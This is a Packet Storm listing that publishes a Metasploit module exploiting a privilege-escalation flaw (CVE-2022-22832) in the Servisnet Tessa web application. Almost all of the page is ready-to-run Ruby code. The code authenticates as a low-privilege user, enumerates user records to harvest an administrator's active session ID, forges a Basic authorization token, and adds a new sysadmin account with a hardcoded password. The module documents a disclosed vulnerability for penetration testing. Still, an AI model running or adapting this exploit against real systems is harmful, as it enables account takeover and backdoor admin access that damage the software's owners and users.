exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Servisnet Tessa Privilege Escalation

Servisnet Tessa Privilege Escalation
Posted Feb 4, 2022
Authored by AkkuS | Site metasploit.com

This Metasploit module exploits privilege escalation in Servisnet Tessa triggered by the add new sysadmin user flow with any user authorization. An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response. The encrypted password information is included here, but privilege escalation is also possible with the active sessionid value.

tags | exploit
advisories | CVE-2022-22832
SHA-256 | 6e59726691f327427ec484da726b6a4c97e638187f4e7fb596cc5e0268c97f94

Servisnet Tessa Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Servisnet Tessa - Privilege Escalation (Metasploit)',
'Description' => %q(
This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization .
An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response.
The encrypted password information is included here, but privilage escelation is possible with the active sessionid value.

var token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64');

The logic required for the Authorization header is as above.
Therefore, after accessing an authorized user ID value and active sessionId value,
if the username and sessionId values are encoded with base64, a valid Token will be obtained and a new admin user can be added.

),
'References' =>
[
[ 'CVE', 'CVE-2022-22832' ],
[ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Privilege-Escalation.html' ],
[ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
],
'Author' =>
[
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Dec 22 2021",
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
}
))

register_options([
OptString.new('USERNAME', [true, 'Servisnet Username']),
OptString.new('PASSWORD', [true, 'Servisnet Password']),
OptString.new('TARGETURI', [true, 'Base path for application', '/'])
])
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
# split JSONs to salt
def splitJSON(data, string_to_split)
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
# split JSONs to salt none "
def splitJSON2(data, string_to_split)
word = data.scan(/"#{string_to_split}":([\S\s]*?),/)[0]
string = word.split('"]').join('').split('["').join('')
return string
end

def app_path
res = send_request_cgi({
# default.a.get( check
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
'method' => 'GET'
})

if res && res.code == 200 && res.body =~ /baseURL/
data = res.body
#word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]
return base_url
else
fail_with(Failure::NotVulnerable, 'baseURL not found!')
end
end

def add_user(token, app_path)
newuser = Rex::Text.rand_text_alpha_lower(8)
id = Rex::Text.rand_text_numeric(4)
# encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111
json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'

res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, app_path, 'users'),
'headers' =>
{
'Authorization' => token
},
'data' => json_data
})

if res && res.code == 200 && res.body =~ /localhost/
print_good("The sysAdmin authorized user has been successfully added.")
print_status("Username: #{newuser}")
print_status("Password: 1111111111")
else
fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')
end
end

def sessionid_check

res = send_request_cgi({
# user.usersessionid check
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
'method' => 'GET'
})

if res && res.code == 200 && res.body =~ /user.usersessionid/
return Exploit::CheckCode::Vulnerable
else
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

end

def find_admin(token, userid, app_path)

res = send_request_cgi({
# token check
'uri' => normalize_uri(target_uri.path, app_path, 'users', userid),
'headers' =>
{
'Authorization' => token
},
'method' => 'GET'
})

if not res && res.code == 200 && res.body =~ /usersessionid/
fail_with(Failure::NotVulnerable, 'An error occurred while use Token. Try again.')
end

loopid = userid.to_i
$i = 0
# The admin userid must be less than the low-authority userid.
while $i < loopid do
$i +=1
res = send_request_cgi({
# token check
'uri' => normalize_uri(target_uri.path, app_path, 'users', $i),
'headers' =>
{
'Authorization' => token
},
'method' => 'GET'
})

if res.code == 200 and res.body.include? '"Sistem Admin"'
admin_uname = splitJSON(res.body, 'username')
admin_sessid = splitJSON(res.body, 'usersessionid')
admin_userid = splitJSON2(res.body, 'id')
enc_token = Rex::Text.encode_base64('' + admin_uname + ':' + admin_sessid + '')
token_admin = 'Basic ' + enc_token + ''
print_good("Excellent! Admin user found.")
print_good("Admin Username: #{admin_uname}")
print_good("Admin SessionId: #{admin_sessid}")
if session_check(token_admin, admin_userid, admin_uname) == "OK"
break
end
end
end
end

def session_check(token, userid, user)

res = send_request_cgi({
# session check
'uri' => normalize_uri(target_uri.path, app_path, 'users', userid),
'headers' =>
{
'Authorization' => token
},
'method' => 'GET'
})

if res && res.code == 200 && res.body =~ /managers_codes/
print_good("Admin session is active.")
add_user(token, app_path)
return "OK"
else
print_status("Admin user #{user} is not online. Try again later.")
return "NOT"
end
end

def login_check(user, pass)

json_data = '{"username": "' + user + '", "password": "' + pass + '"}'

res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, app_path, 'api', 'auth', 'signin'),
'data' => json_data
})

if res && res.code == 200 && res.body =~ /usersessionid/
sessid = splitJSON(res.body, 'usersessionid')
userid = splitJSON2(res.body, 'id')
print_status("Sessionid: #{sessid}")
print_status("Userid: #{userid}")
enc_token = Rex::Text.encode_base64('' + user + ':' + sessid + '')
token = 'Basic ' + enc_token + ''
print_status("Authorization: #{token}")
find_admin(token, userid, app_path)


else
fail_with(Failure::NotVulnerable, 'An error occurred while login. Try again.')
end
end

def check

if sessionid_check
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def run
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
login_check(datastore['USERNAME'], datastore['PASSWORD'])
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close